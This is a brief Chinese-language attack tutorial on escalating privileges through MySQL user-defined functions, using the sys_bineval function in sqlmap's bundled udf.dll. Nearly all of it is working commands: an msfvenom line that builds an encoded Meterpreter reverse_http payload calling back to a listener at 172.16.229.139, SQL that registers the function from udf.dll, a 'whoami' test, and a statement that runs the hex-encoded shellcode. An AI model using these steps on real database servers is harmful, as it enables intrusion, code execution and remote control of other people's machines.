mysql UDF提权 sys_bineval

介绍：

执行shellcode – sys_bineval

sqmapl自带udf.dll中存在函数’sys_bineval,执行shellcode – sys_bineval

利用:

MSF生成shellcode：

msfvenom -p windows/meterpreter/reverse_http EXITFUNC=thread LPORT=8080 LHOST=172.16.229.139 -a x86 -e x86/alpha_mixed -f raw BufferRegister=EAX > test.txt ;cat test.txt |xxd -c 9999 -ps

mysql执行:

创建函数：create function sys_bineval returns int soname 'udf.dll';

测试执行：select sys_bineval("whoami")

执行shellcode

select sys_bineval(0x.........);